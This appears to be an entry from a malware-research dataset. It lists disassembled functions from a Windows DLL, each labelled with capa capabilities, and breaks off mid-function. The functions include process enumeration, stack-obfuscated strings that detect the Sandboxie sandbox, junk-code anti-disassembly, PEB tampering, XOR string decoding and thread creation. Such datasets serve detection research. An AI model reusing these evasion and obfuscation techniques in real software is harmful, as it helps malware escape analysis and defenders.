joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005960
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call sub.KERNEL32.dll_K32GetProcessImageFileNameA
test eax, eax
je 0x100059b9
lea edx, [ebp - 0x108]
push edx
mov ecx, dword [ebp + 8]
call fcn.100040a0
mov eax, dword [ebp - 0x10c]
or eax, 1
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp + 8]
jmp 0x10005a2c
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.10032620
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call sub.KERNEL32.dll_K32GetModuleFileNameExA
test eax, eax
je 0x10005a0d
lea ecx, [ebp - 0x108]
push ecx
mov ecx, dword [ebp + 8]
call fcn.100040a0
mov edx, dword [ebp - 0x10c]
or edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp + 8]
jmp 0x10005a2c
push 0x10051440
mov ecx, dword [ebp + 8]
call fcn.100040a0
mov eax, dword [ebp - 0x10c]
or eax, 1
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret
Function at 0x10005c90
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1140
call fcn.10030930
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1120], 0x11c
mov dword [ebp - 0x111c], 0
mov dword [ebp - 0x1118], 0
mov dword [ebp - 0x1114], 0
mov dword [ebp - 0x1110], 0
push 0x100
push 0
lea eax, [ebp - 0x110c]
push eax
call fcn.10032620
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x100c], cx
xor edx, edx
mov word [ebp - 0x100a], dx
xor eax, eax
mov dword [ebp - 0x1008], eax
push 3
push 0x20
push 3
push 1
push 3
push 2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], edx
mov ecx, 6
movzx edx, cx
mov dword [ebp - 0x111c], edx
xor eax, eax
movzx ecx, ax
mov dword [ebp - 0x1118], ecx
xor edx, edx
mov word [ebp - 0x100c], dx
mov eax, dword [ebp - 0x113c]
push eax
mov ecx, dword [ebp - 0x1140]
push ecx
push 0x23
lea edx, [ebp - 0x1120]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x10005d8a
mov dword [ebp - 0x1130], 1
jmp 0x10005d94
mov dword [ebp - 0x1130], 0
movzx eax, byte [ebp - 0x1130]
test eax, eax
je 0x10005dac
cmp dword [0x100694b4], 0
jne 0x10005e83
lea ecx, [ebp - 0x1134]
push ecx
push 0x1000
lea edx, [ebp - 0x1004]
push edx
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x10005dcd
call fcn.1001caa0
mov dword [ebp - 0x1124], 0
jmp 0x10005de8
mov eax, dword [ebp - 0x1124]
add eax, 1
mov dword [ebp - 0x1124], eax
mov ecx, dword [ebp - 0x1134]
shr ecx, 2
cmp dword [ebp - 0x1124], ecx
jae 0x10005e81
mov edx, dword [ebp - 0x1124]
cmp dword [ebp + edx*4 - 0x1004], 0
je 0x10005e7c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x1124]
cmp dword [ebp + ecx*4 - 0x1004], eax
je 0x10005e7c
mov edx, dword [ebp - 0x1124]
mov eax, dword [ebp + edx*4 - 0x1004]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x112c], eax
cmp dword [ebp - 0x112c], 0
jne 0x10005e4e
jmp 0x10005dd9
mov ecx, dword [ebp - 0x112c]
push ecx
mov edx, dword [ebp - 0x1124]
mov eax, dword [ebp + edx*4 - 0x1004]
push eax
call fcn.10004590
add esp, 8
lea ecx, [ebp - 0x112c]
push ecx
mov ecx, 0x100694e4
call fcn.10003760
jmp 0x10005dd9
jmp 0x10005eec
mov dword [ebp - 0x1128], 0
lea edx, [ebp - 0x1128]
push edx
push 0
push 0
push 0x2000000
mov eax, dword [ebp - 0x1128]
push eax
call dword [0x100694b4]
test eax, eax
jne 0x10005eec
mov ecx, dword [ebp - 0x1128]
push ecx
call fcn.10005a40
add esp, 4
mov dword [ebp - 0x1138], eax
mov edx, dword [ebp - 0x1128]
push edx
mov eax, dword [ebp - 0x1138]
push eax
call fcn.10004590
add esp, 8
lea ecx, [ebp - 0x1128]
push ecx
mov ecx, 0x100694e4
call fcn.10003760
jmp 0x10005e8d
call fcn.100043c0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret
Function at 0x10006220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0xc20
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x401fffff
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x55
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x52
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x4e
mov byte [ebp - 0xe], 0x54
mov byte [ebp - 0xd], 0x5f
mov byte [ebp - 0xc], 0x55
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0x52
mov byte [ebp - 8], 0
push 0
push 3
mov ecx, dword [ebp - 0x20]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameA]
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x40]
push edx
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
push 0x20000004
push 6
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret

Function at 0x10008b40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 6
mov dword [ebp - 4], 0
jmp 0x10008b62
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10008ba1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x64316fc3]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10008b9c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10008b59
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000acd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
je 0x1000acf7
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1000acfe
mov al, 1
jmp 0x1000adf0
mov dword [ebp - 0x48], 0xffffffff
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0xffffffff
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x50]
jne 0x1000ad31
mov dword [ebp - 0x3c], 1
jmp 0x1000ad38
mov dword [ebp - 0x3c], 0
mov dl, byte [ebp - 0x3c]
mov byte [ebp - 0x2d], dl
movzx eax, byte [ebp - 0x2d]
test eax, eax
je 0x1000ad4d
xor al, al
jmp 0x1000adf0
mov dword [ebp - 0x58], 0x20
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x38]
mov dword [ebp - 0x40], edx
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x40]
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x1000ad94
cmp dword [ebp - 0x34], 1
je 0x1000ad9b
cmp dword [ebp - 0x34], 3
je 0x1000adea
jmp 0x1000adee
mov ecx, dword [ebp - 0x2c]
mov byte [ecx + 0x3d], 0
mov edx, dword [ebp - 0x54]
lea eax, [ebp - 0x28]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x1000adca
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp - 0x38]
push eax
push 1
lea ecx, [ebp - 0x28]
push ecx
call fcn.100393c7
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x1000adca
xor al, al
jmp 0x1000adf0
mov edx, dword [ebp - 0x2c]
movzx eax, byte [edx + 0x3d]
test eax, eax
jne 0x1000adde
mov dword [ebp - 0x44], 1
jmp 0x1000ade5
mov dword [ebp - 0x44], 0
mov al, byte [ebp - 0x44]
jmp 0x1000adf0
mov al, 1
jmp 0x1000adf0
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret
Function at 0x100104e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], ecx
mov eax, 1
test eax, eax
je 0x10010657
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x38], 0
je 0x10010518
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.10010680
jmp 0x1001066b
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
cmp dword [edx], 0
je 0x1001053c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x2c]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
jmp 0x10010543
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
cmp dword [ebp + 0x10], 0
jl 0x100105fd
jg 0x10010563
cmp dword [ebp + 0xc], 0
jbe 0x100105fd
cmp dword [ebp - 0x14], 0
jl 0x100105fd
jg 0x10010579
cmp dword [ebp - 0x18], 0
jbe 0x100105fd
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 0x14]
jg 0x10010597
jl 0x1001058b
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x18]
jae 0x10010597
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10031b20
add esp, 0xc
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp + 0x10]
sbb eax, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x2c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x2c]
mov dword [eax], ecx
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov dword [edx], eax
cmp dword [ebp + 0x10], 0
jl 0x10010647
jg 0x1001060b
cmp dword [ebp + 0xc], 0
jbe 0x10010647
mov eax, dword [ebp - 4]
cmp dword [eax + 0x4c], 0
je 0x10010647
mov ecx, dword [ebp - 4]
call fcn.1000d260
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call fcn.10038d5a
add esp, 0x10
xor edx, edx
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov eax, dword [ebp + 0x10]
sbb eax, edx
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1c]
sbb edx, dword [ebp + 0x10]
jmp 0x1001066b
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.10010680
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100107f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], ecx
mov eax, 1
test eax, eax
je 0x1001095f
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x38], 0
je 0x10010828
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.10010980
jmp 0x10010973
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
cmp dword [edx], 0
je 0x1001084c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x30]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
jmp 0x10010853
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
cmp dword [ebp + 0x10], 0
jl 0x1001090d
jg 0x10010873
cmp dword [ebp + 0xc], 0
jbe 0x1001090d
cmp dword [ebp - 0x14], 0
jl 0x1001090d
jg 0x10010889
cmp dword [ebp - 0x18], 0
jbe 0x1001090d
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 0x14]
jg 0x100108a7
jl 0x1001089b
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x18]
jae 0x100108a7
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call fcn.10031b20
add esp, 0xc
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp + 0x10]
sbb eax, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x30]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x30]
mov dword [eax], ecx
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov dword [edx], eax
cmp dword [ebp + 0x10], 0
jl 0x1001094f
jg 0x1001091b
cmp dword [ebp + 0xc], 0
jbe 0x1001094f
mov eax, dword [ebp - 4]
cmp dword [eax + 0x4c], 0
je 0x1001094f
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call fcn.100393c7
add esp, 0x10
xor edx, edx
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov eax, dword [ebp + 0x10]
sbb eax, edx
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1c]
sbb edx, dword [ebp + 0x10]
jmp 0x10010973
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.10010980
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10010bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x62
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x10010c78
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x62
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x20
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x21
mov byte [ebp - 0x11], 0
call fcn.1001caa0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret

Function at 0x10010e60
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10068274]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
clc
jae 0x10010e78
pop esi
inc edx
pushf
push 0xa
Function at 0x10010e87
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
jae 0x10010e85
jmp 0x10010e80
call fcn.10010e87
jae 0x10010e80
add esp, 4
jmp 0x10010e8c
dec dword [esp]
jno 0x10010e91
jns 0x10010e7c
jp 0x10010e95
add esp, 4
popf
jmp 0x10010e9c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010eb5
jne 0x10010eb5
inc edx
jl 0x10010eba
jmp 0x10010ebc
je 0x10010eb7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10010ed6
jne 0x10010ed5
call 0x9304ff5d
rol byte [ebx + eax*4], 0xf0
xor eax, 3
add eax, 4
xor eax, 5
je 0x10010ee4
add eax, 0x1750374
jne 0x10010ee4
call 0x35e554ae
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
clc
jae 0x10010f4f
jg 0x10010ede
pushf
push 0xa
jae 0x10010f5c
jmp 0x10010f57
call 0x10010f5e
jae 0x10010f57
add esp, 4
jmp 0x10010f63
dec dword [esp]
jno 0x10010f68
jns 0x10010f53
jp 0x10010f6c
add esp, 4
popf
jmp 0x10010f73
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010f8c
jne 0x10010f8c
invalid
jl 0x10010f91
jmp 0x10010f93
je 0x10010f8e
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10010fad
jne 0x10010fac
call 0x93050034
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10010fbb
jne 0x10010fbb
call 0x9b5c6e1e
dec ebp
cld
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret

Function at 0x10011008
Capabilities:
Access peb ldr_data

Disassembly:
jae 0x10011006
jmp 0x10011001
call fcn.10011008
jae 0x10011001
add esp, 4
jmp 0x1001100d
dec dword [esp]
jno 0x10011012
jns 0x10010ffd
jp 0x10011016
add esp, 4
popf
jmp 0x1001101d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011036
jne 0x10011036
call 0x1fc1438a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100111f4
Capabilities:
Create thread

Disassembly:
jae 0x10011106
jmp 0x10011101
call fcn.10011108
jae 0x10011101
add esp, 4
jmp 0x1001110d
dec dword [esp]
jno 0x10011112
jns 0x100110fd
jp 0x10011116
add esp, 4
popf
jmp 0x1001111d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011136
jne 0x10011136
call 0x1fc1448a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10010e60
clc
jae 0x10011151
salc
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x1001115e
jmp 0x10011159
call 0x10011160
jae 0x10011159
add esp, 4
jmp 0x10011165
dec dword [esp]
jno 0x1001116a
jns 0x10011155
jp 0x1001116e
add esp, 4
popf
jmp 0x10011175
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001118e
jne 0x1001118e
out 0x7c, eax
add ebp, ebx
add esp, edi
jl 0x10011193
jmp 0x10011195
je 0x10011190
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100111af
jne 0x100111ae
call 0x93050236
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100111bd
jne 0x100111bd
call 0xfff20a9
push dword [ebx]
rol byte [ebp + 0x750374c0], 0
call 0x10010fd0
xor eax, eax
test eax, eax
je 0x100111cb
jne 0x100111ca
call 0x93050252
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100111d9
jmp 0x100111db
je 0x100111d6
clc
jae 0x100111e0
xor byte [eax + 0x1750374], 0xb0
je 0x100111e5
jne 0x100111e5
mov al, 0x66
pushfd
pushf
push 0xa
jae 0x100111f2
jmp 0x100111ed
call 0x100111f4
jae 0x100111ed
add esp, 4
jmp 0x100111f9
dec dword [esp]
jno 0x100111fe
jns 0x100111e9
jp 0x10011202
add esp, 4
popf
jmp 0x10011209
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011222
jne 0x10011222
call 0x1fc14576
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10010bd0
push 0
push 0
push 0
push 0x10011060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10011090
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10010c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100129b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 9
mov dword [ebp - 4], 0
jmp 0x100129d2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jge 0x10012a11
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x1058becf]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10012a0c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100129c9
mov eax, 1
imul ecx, eax, 0xe
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10012a30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xa
mov dword [ebp - 4], 0
jmp 0x10012a52
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10012a91
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x6c2eab18]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10012a8c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10012a49
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10012ab0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
